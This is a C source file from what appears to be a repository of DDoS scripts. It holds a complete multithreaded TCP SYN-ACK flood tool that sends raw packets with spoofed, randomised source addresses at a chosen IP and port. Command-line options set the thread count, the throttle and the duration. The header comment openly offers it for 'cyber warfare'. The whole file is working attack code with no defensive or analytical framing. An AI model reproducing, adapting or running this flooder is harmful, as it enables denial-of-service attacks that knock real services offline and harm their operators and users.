CoCalc -- ovh-ack.c

GitHub Repository: R00tS3c/DDOS-RootSec
Path: blob/master/DDOS Scripts/L4/TCP/ovh-ack.c
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/*
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	This is released under the GNU GPL License v3.0, and is allowed to be used for cyber warfare. ;)
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*/
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#include <unistd.h>
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#include <time.h>
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#include <sys/types.h>
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#include <sys/socket.h>
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#include <sys/ioctl.h>
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#include <string.h>
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#include <stdlib.h>
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#include <stdio.h>
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#include <pthread.h>
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#include <netinet/tcp.h>
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#include <netinet/ip.h>
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#include <netinet/in.h>
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#include <netinet/if_ether.h>
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#include <netdb.h>
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#include <net/if.h>
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#include <arpa/inet.h>
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#define MAX_PACKET_SIZE 5000
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#define PHI 0x9e3779b9
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static unsigned long int Q[5000], c = 362436;
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volatile int limiter;
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static unsigned int floodport;
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volatile unsigned int pps;
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volatile unsigned int sleeptime = 100;
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void init_rand(unsigned long int x)
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{
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	int i;
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	Q[0] = x;
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	Q[1] = x + PHI;
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	Q[2] = x + PHI + PHI;
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	for (i = 3; i < 4096; i++){ Q[i] = Q[i - 3] ^ Q[i - 2] ^ PHI ^ i; }
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}
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unsigned long int rand_cmwc(void)
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{
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	unsigned long long int t, a = 18782LL;
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	static unsigned long int i = 4095;
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	unsigned long int x, r = 0xfffffffe;
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	i = (i + 1) & 4095;
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	t = a * Q[i] + c;
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	c = (t >> 32);
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	x = t + c;
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	if (x < c) {
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	x++;
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	c++;
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	}
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	return (Q[i] = r - x);
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}
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unsigned short csum (unsigned short *buf, int count)
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{
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	register unsigned long sum = 0;
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	while( count > 1 ) { sum += *buf++; count -= 2; }
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	if(count > 0) { sum += *(unsigned char *)buf; }
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	while (sum>>16) { sum = (sum & 0xffff) + (sum >> 16); }
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	return (unsigned short)(~sum);
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}
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unsigned short tcpcsum(struct iphdr *iph, struct tcphdr *tcph) {
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	struct tcp_pseudo
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	{
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	unsigned long src_addr;
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	unsigned long dst_addr;
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	unsigned char zero;
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	unsigned char proto;
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	unsigned short length;
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	} pseudohead;
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	unsigned short total_len = iph->tot_len;
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	pseudohead.src_addr=iph->saddr;
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	pseudohead.dst_addr=iph->daddr;
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	pseudohead.zero=0;
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	pseudohead.proto=IPPROTO_TCP;
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	pseudohead.length=htons(sizeof(struct tcphdr));
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	int totaltcp_len = sizeof(struct tcp_pseudo) + sizeof(struct tcphdr);
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	unsigned short *tcp = malloc(totaltcp_len);
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	memcpy((unsigned char *)tcp,&pseudohead,sizeof(struct tcp_pseudo));
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	memcpy((unsigned char *)tcp+sizeof(struct tcp_pseudo),(unsigned char *)tcph,sizeof(struct tcphdr));
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	unsigned short output = csum(tcp,totaltcp_len);
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	free(tcp);
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	return output;
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}
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void setup_ip_header(struct iphdr *iph)
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{
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	iph->ihl = 5;
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	iph->version = 4;
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	iph->tos = 0;
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	iph->tot_len = sizeof(struct iphdr) + sizeof(struct tcphdr);
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	iph->id = htonl(rand() % 1025 + 65535);
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	iph->frag_off = 0;
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	iph->ttl = MAXTTL;
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	iph->protocol = 6;
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	iph->check = 0;
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	iph->saddr = inet_addr("162.52.103.30");
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}
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void setup_tcp_header(struct tcphdr *tcph)
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{
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	tcph->source = htons(1194 + rand_cmwc() % 16276);
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	tcph->seq = rand();
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	tcph->ack_seq = rand();
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	tcph->syn_seq = rand();
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	tcph->res2 = 3;
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	tcph->doff = 5;
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	tcph->ack = 1;
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    tcph->syn = 1;
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	tcph->window = rand();
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	tcph->check = 0;
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	tcph->urg_ptr = 0;
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}
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void *flood(void *par1)
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{
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	char *td = (char *)par1;
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	char datagram[MAX_PACKET_SIZE];
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	struct iphdr *iph = (struct iphdr *)datagram;
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	struct tcphdr *tcph = (void *)iph + sizeof(struct iphdr);
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	struct sockaddr_in sin;
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	sin.sin_family = AF_INET;
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	sin.sin_port = htons(floodport);
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	sin.sin_addr.s_addr = inet_addr(td);
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	int s = socket(PF_INET, SOCK_RAW, IPPROTO_TCP);
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	if(s < 0){
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	fprintf(stderr, "cant open raw socket try again spoofed...\n");
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	exit(-1);
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	}
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	memset(datagram, 0, MAX_PACKET_SIZE);
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	setup_ip_header(iph);
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	setup_tcp_header(tcph);
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	tcph->dest = htons (floodport);
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	iph->daddr = sin.sin_addr.s_addr;
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	iph->check = csum ((unsigned short *) datagram, iph->tot_len);
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	int tmp = 1;
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	const int *val = &tmp;
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	if(setsockopt(s, IPPROTO_IP, IP_HDRINCL, val, sizeof (tmp)) < 0){
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	fprintf(stderr, "ERROR FIX YOUR SHIT\n");
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	exit(-1);
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	}
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	init_rand(time(NULL));
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	register unsigned int i;
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	i = 0;
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	while(1){
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	sendto(s, datagram, iph->tot_len, 0, (struct sockaddr *) &sin, sizeof(sin));
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	iph->saddr = (rand_cmwc() >> 24 & 0xFF) << 24 | (rand_cmwc() >> 16 & 0xFF) << 16 | (rand_cmwc() >> 8 & 0xFF) << 8 | (rand_cmwc() & 0xFF);
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	iph->id = htonl(rand_cmwc() & 0xFFFFFFFF);
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	iph->check = csum ((unsigned short *) datagram, iph->tot_len);
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	tcph->seq = rand_cmwc() & 0xFFFF;
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 tcph->dest = htons(floodport);
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	tcph->source = htons(rand_cmwc() & 0xFFFF);
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	tcph->check = 1;
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	tcph->check = tcpcsum(iph, tcph);
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	pps++;
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	if(i >= limiter)
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	{
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	i = 0;
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	usleep(sleeptime);
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	}
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	i++;
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	}
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}
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int main(int argc, char *argv[ ])
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{
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	if(argc < 5){
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	fprintf(stderr, "Invalid parameters! Lmao Try again skid\n");
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	fprintf(stdout, "Usage: %s <IP> <Port> <threads> <throttle, -1 for no throttle> <time>\n", argv[0]);
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	exit(-1);
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	}
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	int num_threads = atoi(argv[3]);
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    floodport = atoi(argv[2]);
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	int maxpps = atoi(argv[4]);
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	limiter = 0;
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	pps = 0;
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	pthread_t thread[num_threads];
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	int multiplier = 20;
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	int i;
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	for(i = 0;i<num_threads;i++){
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	pthread_create( &thread[i], NULL, &flood, (void *)argv[1]);
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	}
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	fprintf(stdout, "Sending packets.. packets to%d\n", floodport);
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	for(i = 0;i<(atoi(argv[5])*multiplier);i++)
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	{
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	usleep((1000/multiplier)*1000);
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	if((pps*multiplier) > maxpps)
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	{
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	if(1 > limiter)
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	{
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	sleeptime+=100;
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	} else {
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	limiter--;
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	}
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	} else {
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	limiter++;
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	if(sleeptime > 25)
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	{
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	sleeptime-=25;
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	} else {
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	sleeptime = 0;
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	}
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	}
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	pps = 0;
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	}
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	return 0;
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}
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